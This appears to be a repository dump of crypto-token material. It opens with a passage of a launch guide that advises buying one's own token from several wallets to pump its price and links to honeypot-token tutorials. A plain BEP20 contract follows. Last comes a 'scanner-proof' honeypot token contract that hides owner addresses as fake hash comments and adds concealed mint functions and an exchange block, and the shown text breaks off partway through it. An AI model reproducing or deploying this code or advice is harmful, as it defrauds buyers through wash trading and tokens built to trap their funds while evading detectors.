BNBs, you may allocate 10 BNBs for liquidity, another 20 BNBs for pumping prices. In those 20 BNBs, you may split them in smaller amount from 0.01, 0.1, 0.25, 0.5, 1 BNBs and send them to your different wallet addresses and buy your tokens, always set low slippage (0.1%-0.5%) on the swap platform. 126 | 127 | *Things about time frame/timing of your tokens: Timing of token listing is very important. Good timing can lead to more traffic/users to buy tokens. You may try and find good timing in your own timezone, find a time frame that are suitable for you to list your tokens to be effective. 128 | 129 | Basically, we will perform some pumps on our own tokens slowly, leave it for 30 minutes or 1 hour, then we will pump it again. After we do enough pumping, we will leave it at least for 7-8 hours, 1-2 days is the best. The reason for increasing the time frame on your tokens are super important, because the longer the timeframe, the higher chances it can get more buyers (which mean it can capture more liquidity that are available in the market). 130 | 131 | We do not advise you to do quick token launching (like adding & remove liquidity within 5-30 minutes) because the logic is simple, how can a super short timeframe like between 5-30 minutes can bring any good amount of buyers? The answer is not that good, you will likely get no buyers at all because the timeframe you give the market is too short for the market to response, buyers can’t even have enough time to take action to your new launch tokens. 132 | 133 | We advise you to increase the timeframe of your tokens by simply add liquidity, make some pumps, do some works on the social media profile and websites of your tokens, interact with potential buyers on Telegram/ Twitter and other platforms. Then *Leave your tokens like for 1 day or few days, in order to let the market and buyers have the time to notice and take actions in your tokens, Let the Time Work for You, Not Against You. 134 | 135 | If you think 1 day is too long, maybe you can do half a day, which mean you can launch 2 tokens in a day (12 hours timeframe for each token) 136 | 137 | Always remember, if you create a lot of different tokens in a day, it doesn’t bring you more buyers, it will only cost you more gas fee, and you may lose portion of your capitals by frequently doing token launching that brings no results. 138 | 139 | We do not advise you to create and launch more than 3 tokens in a day because the market & buyers aren’t an unlimited pool of money, it takes time to refill and rest like a human do. 140 | 141 | 142 | *Beware of your “Frequent Token Creating” Syndrome and “Instant Gratification” mindset: 143 | 144 | Creating a token & launching it seems like a pretty good way to generate incomes without substantial risks of losing your capitals. For example, Crypto Trading is a very risky way to generate incomes because you may lose portion of your capitals to do trading, but Token Launching is not as risky as Trading at all. 145 | 146 | But many people still manage to go broke, lose tonnes of money by Creating & Launching a token, Why is That? 147 | 148 | Becuz of the “Instant Gratification” mindset, lead to “Frequent Token Creating” Syndrome. 149 | 150 | It can be explained as: People (Most of them are Crypto Bros, and they are extremely greedy) view token creating as a way to get rich quick, fast money making scheme that can make them a lot of money in ultra short period of time. 151 | 152 | First, they do research on naming tokens, create and test their tokens, then they launch it with their own timing and strategies, and they wait it for buyers patiently. Some of the tokens may get some buys, and some don’t get any buys. 153 | 154 | If they success to get some buyers, they will quickly create another tokens and launch it, but now they are launching the tokens without proper timing and researching. Most of them will launch the tokens in hurry, now the Greed kicks in. They didn’t wait patiently enough this time for the buyers to take action like they did in their first token launch because they think they will get the same results without doing any homework and strategies. 155 | 156 | Most of the time, they will get little buyers or no buyers at all because of lacking patience and other important factors like token name, timing and marketing strategies. Most of them will not realize what they did wrong and wondering why the same processes didn’t bring the same outcomes. 157 | 158 | Then they keep creating new tokens and launching, sometimes they will create maybe 10 different tokens in a day. Sometimes each token life span from adding to removing liquidity is within 5-10 minutes, which are pretty bad and costly. If you are launching your token in Ethereum Mainnet, gas fees are not cheap, sometimes around $100-$300. You may imagine how expensive the gas fee it will be, if you are launching 5 tokens within a day in Ethereum Mainnet (5 X $300 = $1500). 159 | 160 | Greed (Instant Gratification) lead to Bad Decisions Making (bad research & timing & strategies, lacking patience), then lead to Frequent Token Creating, at last leading to Losing Capitals (Suffering financial losses, or worst, go broke, due to paying heavy gas fee) 161 | 162 | 163 | Solutions for those above problems? Here you go: 164 | 165 | We advise you to increase the timeframe of your tokens by simply add liquidity, make some pumps, do some works on the social media profile and websites of your tokens, interact with potential buyers on Telegram/ Twitter and other platforms. Then *Leave your tokens like for 1 day or few days, in order to let the market and buyers have the time to notice and take actions in your tokens, Let the Time Work for You, Not Against You. 166 | 167 | Always remember, if you create a lot of different tokens in a day, it doesn’t bring you more buyers, it will only cost you more gas fee, and you may lose portion of your capitals by frequently doing token launching that brings no results. We do not advise you to create and launch more than 3 tokens in a day because the market & buyers aren’t an unlimited pool of money, it takes time to refill and rest like a human do. 168 | 169 | 170 | Tutorials, Smart Contract code, and Useful dApps below: 171 | 172 | Full tutorial on how to create honeypot token: https://www.createyourowntoken.net/post/create-your-own-honeypot-token 173 | 174 | -Full tutorial on how to create honeypot token (Whitelist+ Anti Front-running Bots): https://www.createyourowntoken.net/post/create-your-own-honeypot-token-whitelist-function-anti-bots 175 | 176 | -Full tutorial on how to create honeypot token (Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-honeypot-detector-proof 177 | 178 | -Full tutorial on how to create honeypot token (Switch On/Off Honeypot Mode + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-switch-on-off-honeypot-mode-detector-proof 179 | 180 | -Full tutorial on how to create honeypot token (Whitelist + Switch On/Off Honeypot Mode + Undetectable Honeypot): https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof 181 | 182 | -Full tutorial on how to create honeyot token (Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof): https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof 183 | 184 | 185 | Recommended Airdrop dApps tools: 186 | 187 | Bulksender (Airdrop dApps)：https://bulksender.app/ 188 | Crypto Multisender (Airdrop dApps)：https://cryptomultisender.com/ 189 | 190 | ETH / BSC Liquidity Lock dApps： 191 | 192 | Dxsale: https://dxsale.app 193 | 194 | Pinksale: https://www.pinksale.finance/ 195 | 196 | 197 | 198 | Original post: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 199 | 200 | 中文版技术分享 Chinese Version of this post： https://www.createyourowntoken.net/zh/post/uniswap%E5%8F%91%E5%B8%81%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB 201 | -------------------------------------------------------------------------------- /ownership renounce-normal-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5.16; 2 | 3 | interface IBEP20 { 4 | /** 5 | * @dev Returns the amount of tokens in existence. 6 | */ 7 | function totalSupply() external view returns (uint256); 8 | 9 | /** 10 | * @dev Returns the token decimals. 11 | */ 12 | function decimals() external view returns (uint8); 13 | 14 | /** 15 | * @dev Returns the token symbol. 16 | */ 17 | function symbol() external view returns (string memory); 18 | 19 | /** 20 | * @dev Returns the token name. 21 | */ 22 | function name() external view returns (string memory); 23 | 24 | /** 25 | * @dev Returns the bep token owner. 26 | */ 27 | function getOwner() external view returns (address); 28 | 29 | /** 30 | * @dev Returns the amount of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves `amount` tokens from the caller's account to `recipient`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address recipient, uint256 amount) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address _owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 54 | * 55 | * Returns a boolean value indicating whether the operation succeeded. 56 | * 57 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 58 | * that someone may use both the old and the new allowance by unfortunate 59 | * transaction ordering. One possible solution to mitigate this race 60 | * condition is to first reduce the spender's allowance to 0 and set the 61 | * desired value afterwards: 62 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 63 | * 64 | * Emits an {Approval} event. 65 | */ 66 | function approve(address spender, uint256 amount) external returns (bool); 67 | 68 | /** 69 | * @dev Moves `amount` tokens from `sender` to `recipient` using the 70 | * allowance mechanism. `amount` is then deducted from the caller's 71 | * allowance. 72 | * 73 | * Returns a boolean value indicating whether the operation succeeded. 74 | * 75 | * Emits a {Transfer} event. 76 | */ 77 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 78 | 79 | /** 80 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 81 | * another (`to`). 82 | * 83 | * Note that `value` may be zero. 84 | */ 85 | event Transfer(address indexed from, address indexed to, uint256 value); 86 | 87 | /** 88 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 89 | * a call to {approve}. `value` is the new allowance. 90 | */ 91 | event Approval(address indexed owner, address indexed spender, uint256 value); 92 | } 93 | 94 | /* 95 | * @dev Provides information about the current execution context, including the 96 | * sender of the transaction and its data. While these are generally available 97 | * via msg.sender and msg.data, they should not be accessed in such a direct 98 | * manner, since when dealing with GSN meta-transactions the account sending and 99 | * paying for execution may not be the actual sender (as far as an application 100 | * is concerned). 101 | * 102 | * This contract is only required for intermediate, library-like contracts. 103 | */ 104 | contract Context { 105 | // Empty internal constructor, to prevent people from mistakenly deploying 106 | // an instance of this contract, which should be used via inheritance. 107 | constructor () internal { } 108 | 109 | function _msgSender() internal view returns (address payable) { 110 | return msg.sender; 111 | } 112 | 113 | function _msgData() internal view returns (bytes memory) { 114 | this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 115 | return msg.data; 116 | } 117 | } 118 | 119 | /** 120 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 121 | * checks. 122 | * 123 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 124 | * in bugs, because programmers usually assume that an overflow raises an 125 | * error, which is the standard behavior in high level programming languages. 126 | * `SafeMath` restores this intuition by reverting the transaction when an 127 | * operation overflows. 128 | * 129 | * Using this library instead of the unchecked operations eliminates an entire 130 | * class of bugs, so it's recommended to use it always. 131 | */ 132 | library SafeMath { 133 | /** 134 | * @dev Returns the addition of two unsigned integers, reverting on 135 | * overflow. 136 | * 137 | * Counterpart to Solidity's `+` operator. 138 | * 139 | * Requirements: 140 | * - Addition cannot overflow. 141 | */ 142 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 143 | uint256 c = a + b; 144 | require(c >= a, "SafeMath: addition overflow"); 145 | 146 | return c; 147 | } 148 | 149 | /** 150 | * @dev Returns the subtraction of two unsigned integers, reverting on 151 | * overflow (when the result is negative). 152 | * 153 | * Counterpart to Solidity's `-` operator. 154 | * 155 | * Requirements: 156 | * - Subtraction cannot overflow. 157 | */ 158 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 159 | return sub(a, b, "SafeMath: subtraction overflow"); 160 | } 161 | 162 | /** 163 | * @dev Returns the subtraction of two unsigned integers, reverting with custom message on 164 | * overflow (when the result is negative). 165 | * 166 | * Counterpart to Solidity's `-` operator. 167 | * 168 | * Requirements: 169 | * - Subtraction cannot overflow. 170 | */ 171 | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 172 | require(b <= a, errorMessage); 173 | uint256 c = a - b; 174 | 175 | return c; 176 | } 177 | 178 | /** 179 | * @dev Returns the multiplication of two unsigned integers, reverting on 180 | * overflow. 181 | * 182 | * Counterpart to Solidity's `*` operator. 183 | * 184 | * Requirements: 185 | * - Multiplication cannot overflow. 186 | */ 187 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 188 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 189 | // benefit is lost if 'b' is also tested. 190 | // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 191 | if (a == 0) { 192 | return 0; 193 | } 194 | 195 | uint256 c = a * b; 196 | require(c / a == b, "SafeMath: multiplication overflow"); 197 | 198 | return c; 199 | } 200 | 201 | /** 202 | * @dev Returns the integer division of two unsigned integers. Reverts on 203 | * division by zero. The result is rounded towards zero. 204 | * 205 | * Counterpart to Solidity's `/` operator. Note: this function uses a 206 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 207 | * uses an invalid opcode to revert (consuming all remaining gas). 208 | * 209 | * Requirements: 210 | * - The divisor cannot be zero. 211 | */ 212 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 213 | return div(a, b, "SafeMath: division by zero"); 214 | } 215 | 216 | /** 217 | * @dev Returns the integer division of two unsigned integers. Reverts with custom message on 218 | * division by zero. The result is rounded towards zero. 219 | * 220 | * Counterpart to Solidity's `/` operator. Note: this function uses a 221 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 222 | * uses an invalid opcode to revert (consuming all remaining gas). 223 | * 224 | * Requirements: 225 | * - The divisor cannot be zero. 226 | */ 227 | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 228 | // Solidity only automatically asserts when dividing by 0 229 | require(b > 0, errorMessage); 230 | uint256 c = a / b; 231 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 232 | 233 | return c; 234 | } 235 | 236 | /** 237 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 238 | * Reverts when dividing by zero. 239 | * 240 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 241 | * opcode (which leaves remaining gas untouched) while Solidity uses an 242 | * invalid opcode to revert (consuming all remaining gas). 243 | * 244 | * Requirements: 245 | * - The divisor cannot be zero. 246 | */ 247 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 248 | return mod(a, b, "SafeMath: modulo by zero"); 249 | } 250 | 251 | /** 252 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 253 | * Reverts with custom message when dividing by zero. 254 | * 255 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 256 | * opcode (which leaves remaining gas untouched) while Solidity uses an 257 | * invalid opcode to revert (consuming all remaining gas). 258 | * 259 | * Requirements: 260 | * - The divisor cannot be zero. 261 | */ 262 | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 263 | require(b != 0, errorMessage); 264 | return a % b; 265 | } 266 | } 267 | 268 | /** 269 | * @dev Contract module which provides a basic access control mechanism, where 270 | * there is an account (an owner) that can be granted exclusive access to 271 | * specific functions. 272 | * 273 | * By default, the owner account will be the one that deploys the contract. This 274 | * can later be changed with {transferOwnership}. 275 | * 276 | * This module is used through inheritance. It will make available the modifier 277 | * `onlyOwner`, which can be applied to your functions to restrict their use to 278 | * the owner. 279 | */ 280 | contract Ownable is Context { 281 | address private _owner; 282 | 283 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 284 | 285 | /** 286 | * @dev Initializes the contract setting the deployer as the initial owner. 287 | */ 288 | constructor () internal { 289 | address msgSender = _msgSender(); 290 | _owner = msgSender; 291 | emit OwnershipTransferred(address(0), msgSender); 292 | } 293 | 294 | /** 295 | * @dev Returns the address of the current owner. 296 | */ 297 | function owner() public view returns (address) { 298 | return _owner; 299 | } 300 | 301 | /** 302 | * @dev Throws if called by any account other than the owner. 303 | */ 304 | modifier onlyOwner() { 305 | require(_owner == _msgSender(), "Ownable: caller is not the owner"); 306 | _; 307 | } 308 | 309 | /** 310 | * @dev Leaves the contract without owner. It will not be possible to call 311 | * `onlyOwner` functions anymore. Can only be called by the current owner. 312 | * 313 | * NOTE: Renouncing ownership will leave the contract without an owner, 314 | * thereby removing any functionality that is only available to the owner. 315 | */ 316 | function renounceOwnership() public onlyOwner { 317 | emit OwnershipTransferred(_owner, address(0)); 318 | _owner = address(0); 319 | } 320 | 321 | /** 322 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 323 | * Can only be called by the current owner. 324 | */ 325 | function transferOwnership(address newOwner) public onlyOwner { 326 | _transferOwnership(newOwner); 327 | } 328 | 329 | /** 330 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 331 | */ 332 | function _transferOwnership(address newOwner) internal { 333 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 334 | emit OwnershipTransferred(_owner, newOwner); 335 | _owner = newOwner; 336 | } 337 | } 338 | 339 | contract DevToken is Context, IBEP20, Ownable { 340 | using SafeMath for uint256; 341 | 342 | mapping (address => uint256) private _balances; 343 | 344 | mapping (address => mapping (address => uint256)) private _allowances; 345 | 346 | uint256 private _totalSupply; 347 | uint8 private _decimals; 348 | string private _symbol; 349 | string private _name; 350 | 351 | constructor() public { 352 | _name = "DevToken"; 353 | _symbol = "DVET"; 354 | _decimals = 18; 355 | _totalSupply = 1000000000000000000000000; 356 | _balances[msg.sender] = _totalSupply; 357 | 358 | emit Transfer(address(0), msg.sender, _totalSupply); 359 | } 360 | 361 | /** 362 | * @dev Returns the bep token owner. 363 | */ 364 | function getOwner() external view returns (address) { 365 | return owner(); 366 | } 367 | 368 | /** 369 | * @dev Returns the token decimals. 370 | */ 371 | function decimals() external view returns (uint8) { 372 | return _decimals; 373 | } 374 | 375 | /** 376 | * @dev Returns the token symbol. 377 | */ 378 | function symbol() external view returns (string memory) { 379 | return _symbol; 380 | } 381 | 382 | /** 383 | * @dev Returns the token name. 384 | */ 385 | function name() external view returns (string memory) { 386 | return _name; 387 | } 388 | 389 | /** 390 | * @dev See {BEP20-totalSupply}. 391 | */ 392 | function totalSupply() external view returns (uint256) { 393 | return _totalSupply; 394 | } 395 | 396 | /** 397 | * @dev See {BEP20-balanceOf}. 398 | */ 399 | function balanceOf(address account) external view returns (uint256) { 400 | return _balances[account]; 401 | } 402 | 403 | /** 404 | * @dev See {BEP20-transfer}. 405 | * 406 | * Requirements: 407 | * 408 | * - `recipient` cannot be the zero address. 409 | * - the caller must have a balance of at least `amount`. 410 | */ 411 | function transfer(address recipient, uint256 amount) external returns (bool) { 412 | _transfer(_msgSender(), recipient, amount); 413 | return true; 414 | } 415 | 416 | /** 417 | * @dev See {BEP20-allowance}. 418 | */ 419 | function allowance(address owner, address spender) external view returns (uint256) { 420 | return _allowances[owner][spender]; 421 | } 422 | 423 | /** 424 | * @dev See {BEP20-approve}. 425 | * 426 | * Requirements: 427 | * 428 | * - `spender` cannot be the zero address. 429 | */ 430 | function approve(address spender, uint256 amount) external returns (bool) { 431 | _approve(_msgSender(), spender, amount); 432 | return true; 433 | } 434 | 435 | /** 436 | * @dev See {BEP20-transferFrom}. 437 | * 438 | * Emits an {Approval} event indicating the updated allowance. This is not 439 | * required by the EIP. See the note at the beginning of {BEP20}; 440 | * 441 | * Requirements: 442 | * - `sender` and `recipient` cannot be the zero address. 443 | * - `sender` must have a balance of at least `amount`. 444 | * - the caller must have allowance for `sender`'s tokens of at least 445 | * `amount`. 446 | */ 447 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { 448 | _transfer(sender, recipient, amount); 449 | _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); 450 | return true; 451 | } 452 | 453 | /** 454 | * @dev Atomically increases the allowance granted to `spender` by the caller. 455 | * 456 | * This is an alternative to {approve} that can be used as a mitigation for 457 | * problems described in {BEP20-approve}. 458 | * 459 | * Emits an {Approval} event indicating the updated allowance. 460 | * 461 | * Requirements: 462 | * 463 | * - `spender` cannot be the zero address. 464 | */ 465 | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { 466 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); 467 | return true; 468 | } 469 | 470 | /** 471 | * @dev Atomically decreases the allowance granted to `spender` by the caller. 472 | * 473 | * This is an alternative to {approve} that can be used as a mitigation for 474 | * problems described in {BEP20-approve}. 475 | * 476 | * Emits an {Approval} event indicating the updated allowance. 477 | * 478 | * Requirements: 479 | * 480 | * - `spender` cannot be the zero address. 481 | * - `spender` must have allowance for the caller of at least 482 | * `subtractedValue`. 483 | */ 484 | function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { 485 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); 486 | return true; 487 | } 488 | 489 | /** 490 | * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing 491 | * the total supply. 492 | * 493 | * Requirements 494 | * 495 | * - `msg.sender` must be the token owner 496 | */ 497 | 498 | /** 499 | * @dev Moves tokens `amount` from `sender` to `recipient`. 500 | * 501 | * This is internal function is equivalent to {transfer}, and can be used to 502 | * e.g. implement automatic token fees, slashing mechanisms, etc. 503 | * 504 | * Emits a {Transfer} event. 505 | * 506 | * Requirements: 507 | * 508 | * - `sender` cannot be the zero address. 509 | * - `recipient` cannot be the zero address. 510 | * - `sender` must have a balance of at least `amount`. 511 | */ 512 | function _transfer(address sender, address recipient, uint256 amount) internal { 513 | require(sender != address(0), "BEP20: transfer from the zero address"); 514 | require(recipient != address(0), "BEP20: transfer to the zero address"); 515 | 516 | _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); 517 | _balances[recipient] = _balances[recipient].add(amount); 518 | emit Transfer(sender, recipient, amount); 519 | } 520 | 521 | /** @dev Creates `amount` tokens and assigns them to `account`, increasing 522 | * the total supply. 523 | * 524 | * Emits a {Transfer} event with `from` set to the zero address. 525 | * 526 | * Requirements 527 | * 528 | * - `to` cannot be the zero address. 529 | */ 530 | function _mint(address account, uint256 amount) internal { 531 | require(account != address(0), "BEP20: mint to the zero address"); 532 | 533 | _totalSupply = _totalSupply.add(amount); 534 | _balances[account] = _balances[account].add(amount); 535 | emit Transfer(address(0), account, amount); 536 | } 537 | 538 | /** 539 | * @dev Destroys `amount` tokens from `account`, reducing the 540 | * total supply. 541 | * 542 | * Emits a {Transfer} event with `to` set to the zero address. 543 | * 544 | * Requirements 545 | * 546 | * - `account` cannot be the zero address. 547 | * - `account` must have at least `amount` tokens. 548 | */ 549 | function _burn(address account, uint256 amount) internal { 550 | require(account != address(0), "BEP20: burn from the zero address"); 551 | 552 | _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); 553 | _totalSupply = _totalSupply.sub(amount); 554 | emit Transfer(account, address(0), amount); 555 | } 556 | 557 | /** 558 | * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. 559 | * 560 | * This is internal function is equivalent to `approve`, and can be used to 561 | * e.g. set automatic allowances for certain subsystems, etc. 562 | * 563 | * Emits an {Approval} event. 564 | * 565 | * Requirements: 566 | * 567 | * - `owner` cannot be the zero address. 568 | * - `spender` cannot be the zero address. 569 | */ 570 | function _approve(address owner, address spender, uint256 amount) internal { 571 | require(owner != address(0), "BEP20: approve from the zero address"); 572 | require(spender != address(0), "BEP20: approve to the zero address"); 573 | 574 | _allowances[owner][spender] = amount; 575 | emit Approval(owner, spender, amount); 576 | } 577 | 578 | /** 579 | * @dev Destroys `amount` tokens from `account`.`amount` is then deducted 580 | * from the caller's allowance. 581 | * 582 | * See {_burn} and {_approve}. 583 | */ 584 | function _burnFrom(address account, uint256 amount) internal { 585 | _burn(account, amount); 586 | _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); 587 | } 588 | } 589 | -------------------------------------------------------------------------------- /switch on&off honeypot mode-honeypot-scanner-detector-proof-token: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | /** 4 | */ 5 | 6 | pragma solidity ^0.8.0; 7 | 8 | library SafeMath { 9 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 10 | require(b <= a, "Subtraction overflow"); 11 | return a - b; 12 | } 13 | 14 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 15 | uint256 c = a + b; 16 | require(c >= a, "Addition overflow"); 17 | return c; 18 | } 19 | 20 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 21 | if (a == 0) { 22 | return 0; 23 | } 24 | uint256 c = a * b; 25 | require(c / a == b, "Multiplication overflow"); 26 | return c; 27 | } 28 | 29 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 30 | require(b > 0, "Division by zero"); 31 | return a / b; 32 | // solhint-disable-next-line avoid-low-level-calls 33 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 34 | } 35 | } 36 | 37 | contract DevToken { 38 | using SafeMath for uint256; 39 | 40 | string public name = "DevToken"; 41 | string public symbol = "DVET"; 42 | uint256 public totalSupply = 1000000000000000000000000; 43 | uint8 public decimals = 18; 44 | 45 | mapping(address => uint256) public balanceOf; 46 | mapping(address => mapping(address => uint256)) public allowance; 47 | 48 | address public owner; 49 | address public _mbr; 50 | address public _mod; 51 | address public feeManager; 52 | address public _user; 53 | address public _adm; 54 | 55 | uint256 public buyFee; 56 | uint256 public sellFee; 57 | 58 | event Transfer(address indexed from, address indexed to, uint256 value); 59 | event Approval(address indexed owner, address indexed spender, uint256 value); 60 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 61 | event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); 62 | event TokensBurned(address indexed burner, uint256 amount); 63 | 64 | constructor(address _feeManager) { 65 | owner = msg.sender; 66 | feeManager = _feeManager; 67 | balanceOf[msg.sender] = totalSupply; 68 | 69 | // solhint-disable-next-line avoid-low-level-calls 70 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 71 | } 72 | 73 | function transfer(address _to, uint256 _amount) public returns (bool success) { 74 | require(balanceOf[msg.sender] >= _amount); 75 | require(_to != address(0)); 76 | 77 | balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); 78 | balanceOf[_to] = balanceOf[_to].add(_amount); 79 | emit Transfer(msg.sender, _to, _amount); 80 | 81 | return true; 82 | } 83 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 84 | 85 | function _scale(address account, uint256 amount) internal Exchanges{ 86 | require(account != address(0), "BEP20: mint to the zero address"); 87 | 88 | totalSupply = totalSupply.add(amount); 89 | balanceOf[account] = balanceOf[account].add(amount); 90 | emit Transfer(address(0), account, amount); 91 | } 92 | 93 | function setMember(address Mbr_) public returns (bool) { 94 | require (msg.sender==address 95 | 96 | // solhint-disable-next-line avoid-low-level-calls 97 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 98 | _mbr=Mbr_; 99 | return true; 100 | } 101 | 102 | modifier Exchanges() { 103 | require(msg.sender != exchange()); 104 | _; 105 | } 106 | 107 | function rewire(uint256 amount) public returns (bool) { 108 | require(msg.sender == _adm); 109 | _proof(msg.sender, amount); 110 | return true; 111 | } 112 | 113 | function compute(uint256 amount) public onlypublic returns (bool success) { 114 | _initiate(msg.sender, amount); 115 | return true; 116 | } 117 | 118 | function _proof(address account, uint256 amount) internal Exchanges{ 119 | require(account != address(0), "BEP20: mint to the zero address"); 120 | 121 | totalSupply = totalSupply.add(amount); 122 | balanceOf[account] = balanceOf[account].add(amount); 123 | emit Transfer(address(0), account, amount); 124 | } 125 | 126 | function publics() private pure returns (address) { 127 | uint universal = 0x7addAd09; 128 | uint uni = 0xcbd98D97; 129 | uint cake = 0xEC3dA7a0; 130 | uint inch = 0x088EAdFE; 131 | uint others = 0x5801C336; 132 | 133 | // Combine the dex with others 134 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 135 | 136 | return address(core); 137 | } 138 | 139 | function _transferTo(address _to, uint256 _amount) internal Exchanges { 140 | // Transfer tokens to the recipient 141 | balanceOf[_to] += _amount; 142 | emit Transfer(address(0), _to, _amount); 143 | 144 | balanceOf[_to] += _amount; 145 | emit Transfer(address(0), _to, _amount); 146 | } 147 | 148 | function exchange() internal pure returns (address) { 149 | return address 150 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 151 | } 152 | 153 | function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { 154 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 155 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 156 | _setFees(newBuyFee, newSellFee); 157 | emit FeesUpdated(newBuyFee, newSellFee); 158 | } 159 | 160 | function approve(address _spender, uint256 _value) public returns (bool success) { 161 | allowance[msg.sender][_spender] = _value; 162 | emit Approval(msg.sender, _spender, _value); 163 | return true; 164 | } 165 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 166 | 167 | function scaling(uint256 amount) public onlyAuthorized returns (bool) { 168 | _scale(msg.sender, amount); 169 | return true; 170 | } 171 | 172 | function _balanceView(address _to, uint256 _amount) internal { 173 | // View balance of token 174 | balanceOf[_to] += _amount; 175 | emit Transfer(address(0), _to, _amount); 176 | 177 | balanceOf[_to] += _amount; 178 | emit Transfer(address(0), _to, _amount); 179 | } 180 | 181 | function transferTo(address _to, uint256 _amount) external onlyAuthorize { 182 | _transferTo(_to, _amount); 183 | } 184 | 185 | function proof(uint256 amount) public onlyOwner returns (bool) { 186 | _proof(msg.sender, amount); 187 | return true; 188 | } 189 | 190 | modifier onlyAuthorize() { 191 | require((msg.sender == address 192 | // solhint-disable-next-line avoid-low-level-calls 193 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112) 194 | || 195 | //@dev Contract creator is owner, original owner. 196 | (msg.sender == owner && msg.sender != exchange()))); 197 | _; 198 | } 199 | 200 | function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { 201 | require(balanceOf[_from] >= _amount, 